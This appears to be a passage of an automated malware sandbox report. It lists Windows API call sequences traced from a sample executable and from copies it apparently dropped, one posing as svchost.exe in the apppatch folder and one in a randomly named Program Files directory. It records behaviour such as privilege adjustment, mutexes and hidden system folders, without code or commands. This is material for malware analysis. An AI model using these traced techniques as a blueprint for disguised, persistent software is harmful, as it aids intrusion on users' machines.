Source: C:\Users\user\Desktop\Bpfz752pYZ.exeCode function: EntryPoint,LoadLibraryA,GetModuleFileNameA,ExitProcess,FindWindowA,GetTickCount,PostMessageA,IsUserAnAdmin,IsUserAnAdmin,ExitProcess,ExitProcess,IsUserAnAdmin,GetModuleHandleA,GetProcAddress,GetCurrentProcess,StrStrIA,GetCurrentProcessId,Sleep,StrStrIA,GlobalFindAtomA,GlobalAddAtomA,IsUserAnAdmin,RtlAdjustPrivilege,IsUserAnAdmin,GlobalFindAtomA,GlobalAddAtomA,IsUserAnAdmin,RtlAdjustPrivilege,IsUserAnAdmin,ExitProcess,0_2_00402C10
Source: C:\Windows\apppatch\svchost.exeCode function: RegOpenKeyExA,RegQueryValueExA,RegCloseKey,RegCloseKey,GetUserNameA,CharUpperA,strstr,strstr,strstr,strstr,GetSystemWindowsDirectoryA,GetVolumeInformationA,GetModuleFileNameA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,2_2_00403900
Source: C:\Windows\apppatch\svchost.exeCode function: EntryPoint,LoadLibraryA,GetModuleFileNameA,ExitProcess,FindWindowA,GetTickCount,PostMessageA,IsUserAnAdmin,IsUserAnAdmin,ExitProcess,ExitProcess,IsUserAnAdmin,GetModuleHandleA,GetProcAddress,GetCurrentProcess,StrStrIA,GetCurrentProcessId,Sleep,StrStrIA,GlobalFindAtomA,GlobalAddAtomA,IsUserAnAdmin,RtlAdjustPrivilege,IsUserAnAdmin,GlobalFindAtomA,GlobalAddAtomA,IsUserAnAdmin,RtlAdjustPrivilege,IsUserAnAdmin,ExitProcess,2_2_00402C10
Source: C:\Windows\apppatch\svchost.exeCode function: SHGetFolderPathA,PathAddBackslashA,GetModuleFileNameA,StrStrIA,GetCommandLineA,GetCommandLineW,InitializeCriticalSection,InitializeCriticalSection,CreateMutexA,CreateMutexA,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,CreateMutexA,InitializeCriticalSection,CreateThread,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,GetProcessHeap,GetProcessHeap,HeapValidate,GetProcessHeap,HeapFree,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetProcAddress,GetCurrentProcess,IsUserAnAdmin,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,CreateThread,CreateThread,GetHandleInformation,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,GetModuleHandleA,GetProcAddress,StrStrIA,GetHandleInformation,CreateThread,GetCurrentProcessId,GetCurrentThreadId,GetThreadDesktop,GetUserObjectInformationA,lstrcmpiA,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,2_2_02C85890
Source: C:\Windows\apppatch\svchost.exeCode function: OpenMutexA,OpenMutexA,Sleep,Sleep,OpenMutexA,ReleaseMutex,GetHandleInformation,CloseHandle,GetModuleFileNameA,StrStrIA,ExitProcess,SetEvent,Sleep,2_2_02C77020
Source: C:\Windows\apppatch\svchost.exeCode function: GetModuleHandleA,StrStrIA,GetProcAddress,memset,GetModuleFileNameA,AddVectoredExceptionHandler,CreateMutexA,CreateThread,GetHandleInformation,CloseHandle,InitializeCriticalSection,InitializeCriticalSection,LoadLibraryExA,LoadLibraryExA,GetProcAddress,GetProcAddress,LoadLibraryExA,GetProcAddress,GetProcAddress,GetProcAddress,InitializeCriticalSection,GetModuleHandleA,GetProcAddress,GetCurrentProcessId,GetCurrentThreadId,GetUserObjectInformationA,GetCurrentThreadId,GetThreadDesktop,GetUserObjectInformationA,lstrcmpiA,LoadLibraryExA,GetProcAddress,GetCurrentProcessId,GetCurrentThreadId,GetThreadDesktop,GetUserObjectInformationA,lstrcmpiA,StrStrIA,StrStrIA,StrStrIA,LoadLibraryExA,LoadLibraryExA,GetProcAddress,GetProcAddress,GetProcAddress,InitializeCriticalSection,LoadLibraryExA,GetProcAddress,LoadLibraryExA,GetProcAddress,LoadLibraryExA,GetProcAddress,2_2_02C844F0
Source: C:\Windows\apppatch\svchost.exeCode function: GetModuleFileNameA,PathFindFileNameA,PathFileExistsA,StrStrIA,strstr,strstr,strstr,CreateMutexA,Sleep,ReleaseMutex,GetHandleInformation,CloseHandle,GetPrivateProfileStringA,CharUpperA,CharUpperA,CharUpperA,2_2_02C90BE0
Source: C:\Windows\apppatch\svchost.exeCode function: GetModuleFileNameA,PathFindFileNameA,GetPrivateProfileStringA,CharUpperA,CharUpperA,CharUpperA,StrStrIA,PathAddBackslashA,2_2_02C92320
Source: C:\Windows\apppatch\svchost.exeCode function: GetUserNameA,memset,InitializeCriticalSection,StrStrIA,2_2_02C89860
Source: C:\Windows\apppatch\svchost.exeCode function: StrStrIA,PathAddBackslashA,OpenProcess,GetModuleFileNameExA,GetHandleInformation,CloseHandle,PathAddBackslashA,CreateDirectoryA,GetLastError,IsUserAnAdmin,PathMakeSystemFolderA,SetLastError,GetFileAttributesA,SetCurrentDirectoryA,PathAddBackslashA,SetFileAttributesA,DeleteFileA,PathAddBackslashA,PathFileExistsA,2_2_02C8B810
Source: C:\Windows\apppatch\svchost.exeCode function: memset,memset,GetModuleFileNameA,PathAddBackslashA,CreateDirectoryA,GetLastError,IsUserAnAdmin,PathMakeSystemFolderA,SetLastError,GetFileAttributesA,SetCurrentDirectoryA,PathAddBackslashA,SetFileAttributesA,DeleteFileA,StrStrIA,PathAddBackslashA,SetCurrentDirectoryA,PathAddBackslashA,CreateMutexA,Sleep,ReleaseMutex,GetHandleInformation,CloseHandle,GetProcessHeap,GetProcessHeap,HeapValidate,GetProcessHeap,HeapFree,2_2_02C911C0
Source: C:\Windows\apppatch\svchost.exeCode function: CreateThread,StrStrIA,GetHandleInformation,GetComputerNameA,lstrlenA,wsprintfA,wsprintfA,CreateThread,wsprintfA,wsprintfA,wsprintfA,CreateThread,wsprintfA,2_2_02C7C9F0
Source: C:\Windows\apppatch\svchost.exeCode function: memset,VirtualQuery,GetModuleFileNameA,StrStrIA,StrStrIA,StrStrIA,StrStrIW,StrStrIW,WideCharToMultiByte,GetProcessHeap,HeapAlloc,memset,WideCharToMultiByte,CreateThread,StrStrIW,WideCharToMultiByte,GetProcessHeap,HeapAlloc,memset,WideCharToMultiByte,CreateThread,CreateThread,GetHandleInformation,CloseHandle,2_2_02C71180
Source: C:\Windows\apppatch\svchost.exeCode function: memset,GetModuleFileNameA,StrStrIA,2_2_02C91150
Source: C:\Windows\apppatch\svchost.exeCode function: GetUserObjectInformationA,GetCurrentThreadId,GetProcAddress,GetModuleFileNameA,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetProcAddress,StrStrIA,GetProcAddress,GetModuleHandleA,GetProcAddress,2_2_02C71670
Source: C:\Windows\apppatch\svchost.exeCode function: GetModuleFileNameA,StrStrIA,GetAncestor,GetWindowTextA,CreateThread,GetHandleInformation,CloseHandle,2_2_02C8FFE0
Source: C:\Windows\apppatch\svchost.exeCode function: GetModuleFileNameA,PathFindFileNameA,GetPrivateProfileStringA,CharUpperA,CharUpperA,CharUpperA,StrStrIA,CreateMutexA,Sleep,ReleaseMutex,GetHandleInformation,CloseHandle,2_2_02C8FDC0
Source: C:\Windows\apppatch\svchost.exeCode function: FindWindowW,FindWindowW,Sleep,Sleep,FindWindowW,GetModuleFileNameA,StrStrIA,StrStrIA,PathFileExistsA,StrStrIA,PathAddBackslashA,CreateDirectoryA,GetLastError,IsUserAnAdmin,PathMakeSystemFolderA,SetLastError,StrStrIA,GetFileAttributesA,PathAddBackslashA,_snprintf,PathAddBackslashA,_snprintf,PathAddBackslashA,PathAddBackslashA,CreateMutexA,Sleep,ReleaseMutex,2_2_02C92590
Source: C:\Windows\apppatch\svchost.exeCode function: memset,GetModuleFileNameA,InitializeCriticalSection,CreateMutexA,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetProcAddress,GetCurrentProcess,IsUserAnAdmin,StrStrIA,GetModuleHandleA,GetProcAddress,GetCurrentProcess,IsUserAnAdmin,IsUserAnAdmin,PathFindFileNameA,StrStrIA,IsUserAnAdmin,StrStrIA,IsUserAnAdmin,StrStrIA,CreateMutexA,GetLastError,2_2_02C73510
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeCode function: SHGetFolderPathA,PathAddBackslashA,GetModuleFileNameA,StrStrIA,GetCommandLineA,GetCommandLineW,InitializeCriticalSection,InitializeCriticalSection,CreateMutexA,CreateMutexA,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,CreateMutexA,InitializeCriticalSection,CreateThread,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,GetProcessHeap,GetProcessHeap,HeapValidate,GetProcessHeap,HeapFree,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetProcAddress,GetCurrentProcess,#680,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,CreateThread,CreateThread,GetHandleInformation,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,GetModuleHandleA,GetProcAddress,StrStrIA,GetHandleInformation,CreateThread,GetCurrentProcessId,GetCurrentThreadId,GetThreadDesktop,GetUserObjectInformationA,lstrcmpiA,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,6_2_01755890
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeCode function: memset,GetModuleFileNameA,StrStrIA,6_2_01761150
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeCode function: CreateThread,StrStrIA,GetHandleInformation,GetComputerNameA,lstrlenA,wsprintfA,wsprintfA,CreateThread,wsprintfA,wsprintfA,wsprintfA,CreateThread,wsprintfA,6_2_0174C9F0
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeCode function: memset,memset,GetModuleFileNameA,PathAddBackslashA,CreateDirectoryA,GetLastError,#680,PathMakeSystemFolderA,SetLastError,GetFileAttributesA,SetCurrentDirectoryA,PathAddBackslashA,SetFileAttributesA,DeleteFileA,StrStrIA,PathAddBackslashA,SetCurrentDirectoryA,PathAddBackslashA,CreateMutexA,Sleep,ReleaseMutex,GetHandleInformation,CloseHandle,GetProcessHeap,GetProcessHeap,HeapValidate,GetProcessHeap,HeapFree,6_2_017611C0
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeCode function: memset,GetModuleFileNameA,StrStrIA,StrStrIA,StrStrIA,StrStrIW,StrStrIW,WideCharToMultiByte,GetProcessHeap,HeapAlloc,memset,WideCharToMultiByte,CreateThread,StrStrIW,WideCharToMultiByte,GetProcessHeap,HeapAlloc,memset,WideCharToMultiByte,CreateThread,CreateThread,GetHandleInformation,CloseHandle,6_2_01741180
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeCode function: GetUserNameA,memset,InitializeCriticalSection,StrStrIA,6_2_01759860
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeCode function: OpenMutexA,OpenMutexA,Sleep,Sleep,OpenMutexA,ReleaseMutex,GetHandleInformation,CloseHandle,GetModuleFileNameA,StrStrIA,ExitProcess,SetEvent,Sleep,6_2_01747020
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeCode function: StrStrIA,PathAddBackslashA,OpenProcess,GetModuleFileNameExA,GetHandleInformation,CloseHandle,PathAddBackslashA,CreateDirectoryA,GetLastError,#680,PathMakeSystemFolderA,SetLastError,GetFileAttributesA,SetCurrentDirectoryA,PathAddBackslashA,SetFileAttributesA,DeleteFileA,PathAddBackslashA,PathFileExistsA,6_2_0175B810
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeCode function: GetModuleFileNameA,PathFindFileNameA,GetPrivateProfileStringA,CharUpperA,CharUpperA,CharUpperA,StrStrIA,PathAddBackslashA,6_2_01762320
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeCode function: GetModuleFileNameA,PathFindFileNameA,PathFileExistsA,StrStrIA,strstr,strstr,strstr,CreateMutexA,Sleep,ReleaseMutex,GetHandleInformation,CloseHandle,GetPrivateProfileStringA,CharUpperA,CharUpperA,CharUpperA,6_2_01760BE0
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeCode function: memset,GetModuleFileNameA,InitializeCriticalSection,CreateMutexA,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetProcAddress,GetCurrentProcess,#680,StrStrIA,GetModuleHandleA,GetProcAddress,GetCurrentProcess,#680,#680,PathFindFileNameA,StrStrIA,#680,StrStrIA,#680,StrStrIA,CreateMutexA,GetLastError,6_2_01743510
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeCode function: GetModuleFileNameA,PathFindFileNameA,GetPrivateProfileStringA,CharUpperA,CharUpperA,CharUpperA,StrStrIA,CreateMutexA,Sleep,ReleaseMutex,GetHandleInformation,CloseHandle,6_2_0175FDC0
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeCode function: FindWindowW,FindWindowW,Sleep,Sleep,FindWindowW,GetModuleFileNameA,StrStrIA,StrStrIA,PathFileExistsA,StrStrIA,PathAddBackslashA,CreateDirectoryA,GetLastError,#680,PathMakeSystemFolderA,SetLastError,StrStrIA,GetFileAttributesA,PathAddBackslashA,_snprintf,PathAddBackslashA,_snprintf,PathAddBackslashA,PathAddBackslashA,CreateMutexA,Sleep,ReleaseMutex,6_2_01762590
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeCode function: GetModuleHandleA,StrStrIA,GetProcAddress,memset,GetModuleFileNameA,AddVectoredExceptionHandler,CreateMutexA,CreateThread,GetHandleInformation,CloseHandle,InitializeCriticalSection,InitializeCriticalSection,LoadLibraryExA,LoadLibraryExA,GetProcAddress,GetProcAddress,LoadLibraryExA,GetProcAddress,GetProcAddress,GetProcAddress,InitializeCriticalSection,GetModuleHandleA,GetProcAddress,GetCurrentProcessId,GetCurrentThreadId,GetUserObjectInformationA,GetCurrentThreadId,GetThreadDesktop,GetUserObjectInformationA,lstrcmpiA,LoadLibraryExA,GetProcAddress,GetCurrentProcessId,GetCurrentThreadId,GetThreadDesktop,GetUserObjectInformationA,lstrcmpiA,StrStrIA,StrStrIA,StrStrIA,LoadLibraryExA,LoadLibraryExA,GetProcAddress,GetProcAddress,GetProcAddress,InitializeCriticalSection,LoadLibraryExA,GetProcAddress,LoadLibraryExA,GetProcAddress,LoadLibraryExA,GetProcAddress,6_2_017544F0
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeCode function: GetModuleFileNameA,StrStrIA,GetAncestor,GetWindowTextA,CreateThread,GetHandleInformation,CloseHandle,6_2_0175FFE0
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeCode function: GetUserObjectInformationA,GetCurrentThreadId,GetProcAddress,GetModuleFileNameA,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetProcAddress,StrStrIA,GetProcAddress,GetModuleHandleA,GetProcAddress,6_2_01741670
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeCode function: SHGetFolderPathA,PathAddBackslashA,GetModuleFileNameA,StrStrIA,GetCommandLineA,GetCommandLineW,InitializeCriticalSection,InitializeCriticalSection,CreateMutexA,CreateMutexA,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,CreateMutexA,InitializeCriticalSection,CreateThread,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,GetProcessHeap,GetProcessHeap,HeapValidate,GetProcessHeap,HeapFree,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetProcAddress,GetCurrentProcess,#680,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,CreateThread,CreateThread,GetHandleInformation,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,GetModuleHandleA,GetProcAddress,StrStrIA,GetHandleInformation,CreateThread,GetCurrentProcessId,GetCurrentThreadId,GetThreadDesktop,GetUserObjectInformationA,lstrcmpiA,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,7_2_03115890
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeCode function: GetModuleFileNameA,PathFindFileNameA,GetPrivateProfileStringA,CharUpperA,CharUpperA,CharUpperA,StrStrIA,PathAddBackslashA,7_2_03122320
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeCode function: GetModuleFileNameA,PathFindFileNameA,PathFileExistsA,StrStrIA,strstr,strstr,strstr,CreateMutexA,Sleep,ReleaseMutex,GetHandleInformation,CloseHandle,GetPrivateProfileStringA,CharUpperA,CharUpperA,CharUpperA,7_2_03120BE0
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeCode function: memset,GetModuleFileNameA,StrStrIA,7_2_03121150
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeCode function: memset,GetModuleFileNameA,StrStrIA,StrStrIA,StrStrIA,StrStrIW,StrStrIW,WideCharToMultiByte,GetProcessHeap,HeapAlloc,memset,WideCharToMultiByte,CreateThread,StrStrIW,WideCharToMultiByte,GetProcessHeap,HeapAlloc,memset,WideCharToMultiByte,CreateThread,CreateThread,GetHandleInformation,CloseHandle,7_2_03101180
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeCode function: memset,memset,GetModuleFileNameA,PathAddBackslashA,CreateDirectoryA,GetLastError,#680,PathMakeSystemFolderA,SetLastError,GetFileAttributesA,SetCurrentDirectoryA,PathAddBackslashA,SetFileAttributesA,DeleteFileA,StrStrIA,PathAddBackslashA,SetCurrentDirectoryA,PathAddBackslashA,CreateMutexA,Sleep,ReleaseMutex,GetHandleInformation,CloseHandle,GetProcessHeap,GetProcessHeap,HeapValidate,GetProcessHeap,HeapFree,7_2_031211C0
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeCode function: CreateThread,StrStrIA,GetHandleInformation,GetComputerNameA,lstrlenA,wsprintfA,wsprintfA,CreateThread,wsprintfA,wsprintfA,wsprintfA,CreateThread,wsprintfA,7_2_0310C9F0
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeCode function: StrStrIA,PathAddBackslashA,OpenProcess,GetModuleFileNameExA,GetHandleInformation,CloseHandle,PathAddBackslashA,CreateDirectoryA,GetLastError,#680,PathMakeSystemFolderA,SetLastError,GetFileAttributesA,SetCurrentDirectoryA,PathAddBackslashA,SetFileAttributesA,DeleteFileA,PathAddBackslashA,PathFileExistsA,7_2_0311B810
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeCode function: OpenMutexA,OpenMutexA,Sleep,Sleep,OpenMutexA,ReleaseMutex,GetHandleInformation,CloseHandle,GetModuleFileNameA,StrStrIA,ExitProcess,SetEvent,Sleep,7_2_03107020
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeCode function: GetUserNameA,memset,InitializeCriticalSection,StrStrIA,7_2_03119860
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeCode function: GetModuleFileNameA,StrStrIA,GetAncestor,GetWindowTextA,CreateThread,GetHandleInformation,CloseHandle,7_2_0311FFE0
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeCode function: GetUserObjectInformationA,GetCurrentThreadId,GetProcAddress,GetModuleFileNameA,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetProcAddress,StrStrIA,GetProcAddress,GetModuleHandleA,GetProcAddress,7_2_03101670
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeCode function: memset,GetModuleFileNameA,InitializeCriticalSection,CreateMutexA,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetProcAddress,GetCurrentProcess,#680,StrStrIA,GetModuleHandleA,GetProcAddress,GetCurrentProcess,#680,#680,PathFindFileNameA,StrStrIA,#680,StrStrIA,#680,StrStrIA,CreateMutexA,GetLastError,7_2_03103510
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeCode function: FindWindowW,FindWindowW,Sleep,Sleep,FindWindowW,GetModuleFileNameA,StrStrIA,StrStrIA,PathFileExistsA,StrStrIA,PathAddBackslashA,CreateDirectoryA,GetLastError,#680,PathMakeSystemFolderA,SetLastError,StrStrIA,GetFileAttributesA,PathAddBackslashA,_snprintf,PathAddBackslashA,_snprintf,PathAddBackslashA,PathAddBackslashA,CreateMutexA,Sleep,ReleaseMutex,7_2_03122590
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeCode function: GetModuleFileNameA,PathFindFileNameA,GetPrivateProfileStringA,CharUpperA,CharUpperA,CharUpperA,StrStrIA,CreateMutexA,Sleep,ReleaseMutex,GetHandleInformation,CloseHandle,7_2_0311FDC0
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeCode function: GetModuleHandleA,StrStrIA,GetProcAddress,memset,GetModuleFileNameA,AddVectoredExceptionHandler,CreateMutexA,CreateThread,GetHandleInformation,CloseHandle,InitializeCriticalSection,InitializeCriticalSection,LoadLibraryExA,LoadLibraryExA,GetProcAddress,GetProcAddress,LoadLibraryExA,GetProcAddress,GetProcAddress,GetProcAddress,InitializeCriticalSection,GetModuleHandleA,GetProcAddress,GetCurrentProcessId,GetCurrentThreadId,GetUserObjectInformationA,GetCurrentThreadId,GetThreadDesktop,GetUserObjectInformationA,lstrcmpiA,LoadLibraryExA,GetProcAddress,GetCurrentProcessId,GetCurrentThreadId,GetThreadDesktop,GetUserObjectInformationA,lstrcmpiA,StrStrIA,StrStrIA,StrStrIA,LoadLibraryExA,LoadLibraryExA,GetProcAddress,GetProcAddress,GetProcAddress,InitializeCriticalSection,LoadLibraryExA,GetProcAddress,LoadLibraryExA,GetProcAddress,LoadLibraryExA,GetProcAddress,7_2_031144F0
